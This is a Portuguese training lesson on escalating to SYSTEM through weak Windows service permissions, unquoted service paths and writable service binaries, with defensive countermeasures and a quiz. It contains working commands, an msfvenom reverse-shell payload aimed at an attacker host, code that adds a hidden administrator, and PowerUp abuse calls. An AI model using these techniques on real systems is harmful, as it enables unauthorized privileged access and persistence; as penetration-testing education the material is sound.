Más configurações de serviços

Explorando permissões fracas de serviços para acesso SYSTEM

Permissões fracasCaminhos sem aspasSubstituição de binário

O que você vai descobrir

🎯 Por que isso importa

Serviços Windows executam com privilégios elevados, frequentemente como LocalSystem. Más configurações em permissões de serviços, caminhos ou locais de binários criam caminhos confiáveis de escalação de privilégios. Exploits de serviços estão entre as descobertas mais comuns em testes de penetração reais.

🔍 O que você vai aprender

  • Como identificar permissões fracas de serviços usando accesschk e sc
  • Explorar caminhos de serviços sem aspas para DLL hijacking
  • Substituir binários de serviços quando diretórios são graváveis
  • Modificar configurações de serviços para executar código arbitrário

🚀 Sua primeira vitória

Nos próximos 15 minutos, você vai entender três técnicas distintas de ataque a serviços e como identificar quando cada uma se aplica.

🔧 Experimente agora

Busque caminhos de serviços sem aspas no seu sistema:

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

Você verá: Serviços com caminhos contendo espaços mas sem aspas. Estas são vulnerabilidades potenciais de caminho de serviço sem aspas se você tiver acesso de escrita aos diretórios intermediários.

Habilidades que você vai dominar

✅ Compreensão fundamental

  • Arquitetura de serviços Windows
  • Direitos de acesso e permissões de serviços
  • Parsing de caminhos no Windows
  • Contextos de inicialização de serviços

🔍 Habilidades especializadas

  • Exploração SERVICE_CHANGE_CONFIG
  • Ataques de substituição de binário
  • Exploração de caminhos sem aspas
  • Abuso de recuperação de serviço

Entendendo más configurações de serviços

Serviços Windows são processos em segundo plano que iniciam automaticamente ou sob demanda. Eles tipicamente executam com privilégios altos - muitos como LocalSystem, a conta mais poderosa na máquina. Quando configurações de serviços são fracas, você pode abusar delas para executar código com esses privilégios elevados.

Serviço fraco = Seu código executando como SYSTEM

Tipos de permissões de serviços

Serviços têm sua própria ACL com direitos de acesso específicos. Os perigosos são:

Permissão Vetor de ataque
SERVICE_CHANGE_CONFIG Modificar caminho do binário para seu payload
SERVICE_ALL_ACCESS Controle total - fazer qualquer coisa
GENERIC_WRITE Inclui SERVICE_CHANGE_CONFIG
SERVICE_START Acionar reinício do serviço após modificação

Ataque 1: Permissões de serviços fracas

Quando você tem direitos SERVICE_CHANGE_CONFIG, você pode modificar o caminho do binário do serviço para apontar para seu payload:

# Encontrar serviços com permissões fracas (usando Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

# Verificar permissões de serviço específico
sc qc VulnerableService
sc sdshow VulnerableService

# Modificar caminho do binário
sc config VulnerableService binpath= "C:\temp\shell.exe"

# Reiniciar serviço (se você tem permissão SERVICE_START)
sc stop VulnerableService
sc start VulnerableService

# Se você não pode reiniciar, espere por reboot do sistema

Ataque 2: Caminhos de serviços sem aspas

Quando um caminho de serviço contém espaços e não está entre aspas, Windows tenta encontrar o executável parseando o caminho da esquerda para direita:

# Exemplo de caminho vulnerável:
C:\Program Files\Vulnerable App\service.exe

# Windows tentará estes na ordem:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe

# Se você pode escrever em C:\ ou C:\Program Files\, você pode criar:
# C:\Program.exe (seu binário malicioso)

# Encontrar caminhos sem aspas
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

# Verificar permissões de escrita em diretórios intermediários
icacls "C:\Program Files\Vulnerable App"
icacls "C:\"

# Criar executável malicioso nomeado para ser encontrado primeiro
copy shell.exe "C:\Program Files\Vulnerable.exe"

Ataque 3: Binário de serviço gravável

Se você pode escrever no diretório contendo o executável do serviço, você pode substituí-lo completamente:

# Verificar se diretório do binário de serviço é gravável
icacls "C:\Program Files\VulnerableApp"
accesschk.exe -wvu "C:\Program Files\VulnerableApp"

# Substituir o binário
move "C:\Program Files\VulnerableApp\service.exe" "C:\Program Files\VulnerableApp\service.exe.bak"
copy shell.exe "C:\Program Files\VulnerableApp\service.exe"

# Reiniciar serviço
sc stop VulnerableService
sc start VulnerableService

Ferramentas e técnicas

Criando payloads compatíveis com serviços

Serviços esperam binários que interagem com o Service Control Manager. Se seu payload não faz isso, o serviço vai iniciar e parar imediatamente - mas seu código ainda executa:

# Gerar payload compatível com serviço usando msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f exe-service -o shell-service.exe

# Ou usar um wrapper que adiciona um usuário
# Este código C cria um exe compatível com serviço:
/*
#include <windows.h>
int main() {
    system("net user hdna Password123! /add");
    system("net localgroup administrators hdna /add");
    return 0;
}
*/

# Compilar com mingw
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Exploração com PowerUp

PowerUp fornece funções para explorar cada má configuração de serviço:

# Para permissões de serviços fracas
Get-ModifiableService
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hdna' -Password 'Password123!'

# Para caminhos sem aspas
Get-UnquotedService
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln.exe'

# Para binários graváveis
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'

Accesschk do Sysinternals

Accesschk é a ferramenta definitiva para análise de permissões:

# Verificar serviços acessíveis por Authenticated Users
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# Verificar serviço específico
accesschk.exe -ucqv VulnerableService /accepteula

# Verificar permissões de diretório
accesschk.exe -uwdq "C:\Program Files\VulnerableApp" /accepteula

# Baixar de: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Cenários de ataque reais

🔴 Cenário: Software de terceiros com permissões de serviço fracas

Uma estação de trabalho corporativa tem software legado de backup instalado. O instalador do fornecedor criou um serviço com ACLs fracas, permitindo que "Authenticated Users" modifiquem sua configuração. Um atacante com qualquer conta de domínio pode escalar para SYSTEM em qualquer estação de trabalho com esse software.

Impacto: Um instalador de serviço fraco → Acesso SYSTEM em centenas de estações de trabalho

🟠 Cenário: Caminho sem aspas em aplicação customizada

Uma aplicação interna customizada instala em "C:\Program Files\Company App\bin\service.exe" sem aspas. Um atacante que pode escrever em "C:\Program Files\" cria "Company.exe" que executa como SYSTEM quando o serviço reinicia.

Nota: Isso requer acesso de escrita a um diretório intermediário, o que é raro em sistemas corretamente configurados mas comum quando administradores modificam permissões padrão.

💡 Dica de especialista

Más configurações de serviços são frequentemente introduzidas por instaladores de software de terceiros em vez do próprio Windows. Ao testar, preste atenção especial a serviços não-Microsoft. Fornecedores frequentemente priorizam funcionalidade sobre segurança em suas rotinas de instalação.

Contramedidas defensivas

Hardening de serviços

  • Sempre usar caminhos com aspas para executáveis de serviço
  • Definir ACLs de serviço restritivas durante a instalação
  • Executar serviços com privilégios mínimos necessários (não LocalSystem quando possível)
  • Usar Group Managed Service Accounts (gMSA) para contas de serviço

Proteção de diretórios

  • Manter permissões padrão em C:\ e Program Files
  • Nunca conceder a Users ou Authenticated Users acesso de escrita a diretórios de programas
  • Auditar permissões do sistema de arquivos regularmente com accesschk
  • Usar application whitelisting para prevenir executáveis não autorizados

Monitoramento

  • Monitorar mudanças de configuração de serviço (Event ID 7040)
  • Alertar sobre novos serviços sendo criados
  • Observar padrões de uso de accesschk.exe ou sc.exe
  • Implementar monitoramento de integridade de arquivos para binários de serviço

Perguntas frequentes

Meu payload executa mas o serviço para imediatamente. Qual é o problema?

Serviços esperam binários que comunicam com o Service Control Manager. Use msfvenom -f exe-service para um payload compatível com serviço, ou aceite que seu código vai executar durante a breve janela de inicialização antes do serviço ser terminado.

Encontrei um caminho sem aspas mas não consigo escrever em nenhum diretório intermediário. Ainda é explorável?

Não. Caminhos sem aspas requerem acesso de escrita a um diretório intermediário no caminho. Se todos os diretórios estão devidamente protegidos, a má configuração existe mas não é explorável. Ainda reporte como descoberta - mudanças de permissão podem torná-la explorável no futuro.

Posso reiniciar um serviço sem privilégios administrativos?

Somente se a ACL do serviço concede SERVICE_START e SERVICE_STOP. Verifique com accesschk -ucqv ServiceName. Se você não pode reiniciar, espere por um reboot do sistema ou encontre outro gatilho (alguns serviços reiniciam em crash).

🎯 Exploração de serviços - Carregado!

Você agora conhece três poderosas técnicas de ataque a serviços: permissões fracas, caminhos sem aspas e substituição de binário. Estas estão entre os vetores de escalação de privilégios mais confiáveis em ambientes reais.

Permissões fracas Caminhos sem aspas Substituição de binário Automação PowerUp

Pronto para explorar ataques baseados em registro →

Validação de Conhecimento

Demonstre sua compreensão para ganhar pontos e progredir

1
Pergunta do Capítulo

Qual direito de acesso permite modificar o caminho binário de um serviço?

1
Ler
2
Validar
3
Concluir

Pronto para acompanhar seu progresso?

Crie uma conta gratuita para salvar seu progresso, ganhar pontos e acessar mais de 170 labs práticos de cibersegurança.

Comece a Aprender Grátis
Junte-se a 5.000+ hackers aprendendo cibersegurança com labs práticos. Criar Conta